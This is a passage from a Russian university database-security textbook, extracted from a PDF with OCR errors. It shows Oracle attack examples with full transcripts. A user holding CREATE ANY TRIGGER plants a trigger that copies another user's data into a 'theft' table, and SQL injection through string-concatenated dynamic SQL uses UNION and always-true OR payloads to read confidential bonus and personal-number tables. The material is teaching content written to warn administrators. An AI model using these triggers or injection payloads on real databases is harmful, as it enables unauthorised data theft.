Добавил:
ivanov666
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз:
Предмет:
Файл:Базы данных. Лекции по курсу. В 4 частях. Ч.4. Учебное пособие
.pdf
9 END;
10 /
Процедура создана.
SQL> exec greedy_m;
Процедура PL/SQL успешно завершена.
SQL> select * from tabl;
строки не выбраны
Приведенные примеры показывают, что администратор должен уделять необходимое внимание проблемам нецелевого использования ресурсов. Эти примеры могут быть легко модифицированы и усложнены
в направлении реализации не столь прямолинейного, а закамуфлированного деструктивного воздействия на ресурсы системы. Предоставление
пользователю права на запуск процедур должно быть достаточно мотивировано
, а перечень запускаемых процедур должен тщательно контро-
лироваться.
3.3.3. ИСПОЛЬЗОВАНИЕ ТРИГГЕРОВ ДЛЯ ВЫПОЛНЕНИЯ
НЕЗАПЛАНИРОВАННЫХ ФУНКЦИЙ
Триггеры широко используются для обеспечения целостности данных. Однако не следует забывать, что возможности, предоставляемые
триггерами, могут быть использованы для деструктивных действий,
в частности создания нелегальной копии вводимых данных.
Ниже приведен пример, который показывает, что пользователь bad-
boy, обладающий привилегией CREATE ANY TRIGGER, может навесить
на таблицу триггер, копирующий все вводимые данные. Предполагается, что пользователь u1 создал таблицу, выполнив create table Tab1
(Atl int, At2 varchar2(10)). Предполагается, что структура таблицы Tabl
каким-то образом стала известна пользователю badboy.
SQL> connect badboy/badboypsw;
Соединено.
SQL> create table TabTheft (At1 int, At2 varchar2(10), At3 var-
char2(1));
Таблица создана.
21

SQL> create or replace trigger Th_trig
2 before insert or update or delete on ul.Tab1
3 for each row
4 declare
5 act varchar2(1);
6 id number(2);
7 txt varchar2(10);
8 begin
9 if inserting then
10 act:= ‘I’;
11 id:=:new.At1;
12 txt:=:new.At2;
13 elsif updating then
14 act:=’ U' ;
15 id:=:old.At1;
16 txt:=:new.At2;
17 elsif deleting then
18 act:='D’ ;
19 Id:=:old.At1;
20 txt;=:old.At2;
21 end if;
22 insert into TabTheft(At1, At2, At3) values(id, txt, act) ;
23 end;
24 /
Триггер создан.
Следующий пример показывает успешность атаки «похищения данных» с использованием триггера.
SQL> connect u1/u1psw
Соединено.
22

SQL> insert into Tab1 (At1, At2) values (1, ‘first' ) ;
1 строка создана.
SQL> update Tab1 set At2 = 'updated' where At1 = 1;
1 строка обновлена.
SQL> delete from Tab1;
1 строка удалена.
SQL> commit;
Фиксация обновлений завершена.
SQL> connect badboy/badboypsw
Соединено.
SQL> select * from TabTheft;
ATI AT2 AT3
------------------------------------------
1 first I
1 updated U
1 updated D
Хотя таблица Tab1 пользователя u1 в текущий момент пуста, все
действия по изменению ее состояния зафиксированы пользователем
badboy.
3.3.4. ИСПОЛЬЗОВАНИЕ SQL-ИНЪЕКЦИЙ ДЛЯ НЕШТАТНОГО
ИСПОЛЬЗОВАНИЯ ПРОЦЕДУР И ФУНКЦИЙ
Технология динамического SQL предполагает формирование SQLпредложений в коде программы путем конкатенации строк и значений
параметров. Зная структуру базы данных, злоумышленник может либо
выполнить хранимую программу в запросе, либо закомментировать
«легальные» фрагменты SQL-кода, либо, внедрив, например, конструкцию UNION, запрос которой возвращает конфиденциальные данные.
Рассмотрим предварительный пример. Администратор безопасности создал таблицу
Tab2, в которой хранятся фамилии пользователей
и их табельные номера (номера пропусков). Для пользователя u1
создана процедура S_FAM, которая по заданной фамилии выдает
23

табельный номер. Пользователь u1 явной привилегии на доступ к данным из таблицы Tab2 не имеет.
SQL> connect adm/admpsw
Соединено.
SQL> create table tab2 (At1 Varchar2(15), At2 number);
Таблица создана.
SQL> insert into tab2 values ('Иванов', 123);
1 строка создана.
SQL> insert into tab2 values ('Петров' , 234) ;
1 строка создана.
SQL> CREATE OR REPLACE PROCEDURE S_FAM (PAR_CUR
VARCHAR2)
as
2 TYPE cursor_type IS REF CURSOR;
3 Cur1 cursor_type;
4 I_query VARCHAR2(200);
5 TYPE tab_rec_type IS RECORD
6 (Argl Tab2.At1%TYPE,
7 Arg2 Tab2.At2%TYPE);
8 Tab2_rec tab_rec_type;
9 BEGIN
10 I_query:='SELECT * FROM Tab2 WHERE At1 LIKE ' ' ' | |PAR_ CUR
| |' ' ' ';
11 OPEN Cur1 FOR I_query;
12 FETCH Cur1 INTO Tab2_rec;
13 WHILE Cur1%FOUND LOOP
14 DBMS_0UTPUT.PUT LINE(Tab2_rec.Arg1| | ' ' | |Tab2_rec. Arg2);
15 FETCH Cur1 INTO Tab2_rec;
24

16 END LOOP;
17 CLOSE Cur1;
18 END;
19 /
Процедура создана.
SQL> grant execute on S_FAM to u1;
Привилегии предоставлены.
SQL> connect u1/u1psw
Соединено.
SQL> set serveroutput on
SQL> exec adm.S_FAM('Иванов');
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2 WHERE At1 LIKE ' Иванов '
Результат, возвращаемый процедурой S_FAM
Иванов 123
Процедура PL/SQL успешно завершена.
Администратор adm также создал специальную таблицу Tabx, в которую для каждого сотрудника заносится значение премии за участие в
особо важном проекте. Естественно, доступа к таблице Tabx пользователь u1 не имеет, но каким-то образом он узнал ее структуру.
Ниже приведен пример, показывающий, как пользователь u1 может
получить
инъекцию.
SQL> connect adm/admpsw
Соединено.
SQL> create table tabx (At1 Varchar2(15) , At2 number);
Таблица создана.
SQL> insert into tabx values ('Иванов' , 1000);
1 строка создана.
SQL> connect u1/u1psw
доступ к конфиденциальным сведениям, используя SQL-
25

Соединено.
SQL> set serveroutput on
SQL> exec adm.S_FAM('Иванов');
Результат, возвращаемый процедурой S_FAM в штатном
режиме:
Иванов 123 --- штатное использование процедуры
Процедура PL/SQL успешно завершена.
SQL> exec adm.S_FAM('Иван' ' union select * from tabx where ' '0' ' = ' '0');
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2
WHERE At1 LIKE 'Иван' union select * from tabx where '0' = '0 '
Результат, возвращаемый процедурой S_FAM
Иванов 1000 --- нештатное использование процедуры
Процедура PL/SQL успешно завершена.
SQL> select * from adm.tabx;
select * from adm.tabx
ошибка в строке 1:
ORA-00942: таблица или представление пользователя не существует
Пример демонстрирует, что процедура S_FAM, запущенная пользователем u1, в штатном режиме работает должным образом. Однако при
получении некоторого нестандартного входа легко выдает данные, явно
не предназначенные пользователю u1, причем попытка прямого доступа
к таблице Tabx, как и предполагалось, отвергается.
Ясно, что основная идея SQLратора UNION таким образом, чтобы осуществилась выборка из нужной
таблицы. В соответствии с требованиями оператора UNION таблицы
(или выбираемые части) должны быть согласованы по данным.
Может возникнуть вопрос: для чего при вызове использовано тождественно истинное условие?
Серия последующих запросов дает ответ на этот вопрос.
SQL> connect u1/u1psw
Соединено.
инъекции состоит во внедрении опе-
26

SQL> exec adm.s fam('Иванов' ' union select * from tabx where ' '0' ' = ' '0');
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2
WHERE At1 LIKE ' Иванов' union select * from tabx where '0'='0'
Результат, возвращаемый процедурой S_FAM
Иванов 123 --- штатное использование процедуры
Иванов 1000 --- нештатное использование процедуры
Процедура PL/SQL успешно завершена.
SQL> exec adm.s_fam('XXX ' ' union select * from tabx where ' '0' ' = ' '0');
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2
WHERE At1 LIKE ' ХХХ' union select * from tabx where '0'='0 '
Результат, возвращаемый процедурой S_FAM
Иванов 1000 --- нештатное использование процедуры
Процедура PL/SQL успешно завершена.
SQL> exec adm.s_fam('Иванов' ' union select * from tabx ');
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2 WHERE At1 LIKE ' Иванов' union select * from
tabx '
ошибка в строке 1:
ORA-01756: нет завершающей кавычки
ORA-06512: на "ADM.S_FAM", line 11
ORA-06512: на line 1
Приведем еще пример. Пусть имеется массив важных персональных
номеров (например, кредитных карт) и фамилий лиц, которым эти номера соответствуют.
Администратор создал таблицу Tab2, в которой хранятся фамилии
пользователей и их важные персональные номера. По замыслу администратора для пользователя u1 создана процедура S_NUM, которая
по заданному номеру выдает
соответствующую фамилию. Если номер
27

задан неверно, то фамилия не выдается. Как и ранее, пользователь u1
явной привилегии на доступ к данным из таблицы Tab2 не имеет.
SQL> connect adm/admpsw
Соединено.
SQL> CREATE OR REPLACE PROCEDURE S_NUM (PAR_CUR
VARCHAR2)
as
2 TYPE cursor_type IS REF CURSOR;
3 Curl cursor_type;
4 I_query VARCHAR2(200);
5 TYPE tab_rec_type IS RECORD
6 (Argl Tab2.Atl%TYPE,
7 Arg2 Tab2.At2%TYPE);
8 Tab2_rec tab_rec_type;
9 BEGIN
10 I_query:=' SELECT * FROM Tab2 WHERE At2 LIKE' ' ' | |PAR_
CUR| |' ' ' ';
11 OPEN Curl FOR I_query;
12 FETCH Curl INTO Tab2_rec;
13 WHILE CurUFOUND LOOP
14 DBMS_0UTPUT.PUT_LINE(Tab2_rec.Argl| |' ' | |Tab2_rec.
Arg2);
15 FETCH Curl INTO Tab2_rec;
16 END LOOP;
17 CLOSE Curl;
18 END;
19 /
Процедура создана.
28

Ниже приведен пример штатной работы процедуры выбора фамилии пользователя по его номеру.
SQL> grant execute on s_num to u1;
Привилегии предоставлены.
SQL> connect u1/u1psw
Соединено.
SQL> set serveroutput on
SQL>exec adm.s_num(123);
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2 WHERE At2 LIKE ' 123
Результат, возвращаемый процедурой S_FAM
Иванов 123 --- штатное использование про-
цедуры
Процедура PL/SQL успешно завершена.
SQL> exec adm.s_num(12);
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2 WHERE At2 LIKE ' 12 '
Процедура PL/SQL успешно завершена.
В качестве пояснения отметим, что СУБД Oracle тип Num переводит
в VARCHAR2.
Следующий пример показывает, как с использованием SQL-инъекции, базирующейся на внедрении тождественно истинного предиката OR, пользователь u1 может получить полный список номеров и их
носителей.
SQL> connect u1/u1psw
Соединено.
SQL> exec adm.s_num('12' ' OR ' ' 0' '=0' ) ;
SQL-оператор, полученный после подстановки параметра
SELECT * FROM Tab2 WHERE At2 LIKE ' 12 ' OR '0' ='0 '
Иванов 123
Петров 234
Процедура PL/SQL успешно завершена.
29

ВОПРОСЫ
1. Дайте понятие безопасной системы.
2. Что понимается под моделью угроз?
3. Что такое APT-атака?
4. Каков алгоритм построения модели угроз?
5. Что понимается под политикой безопасности?
6. Каковы три задачи обеспечения безопасности баз данных?
7. Что понимается под обеспечением конфиденциальности?
8. Что понимается под обеспечением целостности?
9. Что понимается
под обеспечением доступности?
10. Перечислите угрозы нарушения конфиденциальности информа-
ции, специфичные для баз данных.
11. Какие факторы могут привести к нарушению целостности инфор-
мации?
12. Какие факторы могут привести к нарушению доступности инфор-
мации?
13. Перечислите угрозы доступности информации, специфичные для
баз данных.
14. Перечислите внешние и внутренние источники безопасности
данных.
15. Каковы принципы построения защищенных систем баз данных?
16. Перечислите и охарактеризуйте виды атак, специфичных для баз
данных.
17. Как злоумышленник может реализовать нецелевое расходование
вычислительных ресурсов сервера?
18. Как злоумышленник может реализовать использование триггеров
для выполнения незапланированных функций?
19. Как злоумышленник может реализовать использование SQL-
инъекций для нештатного использования
процедур и функций?
баз
30
Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]
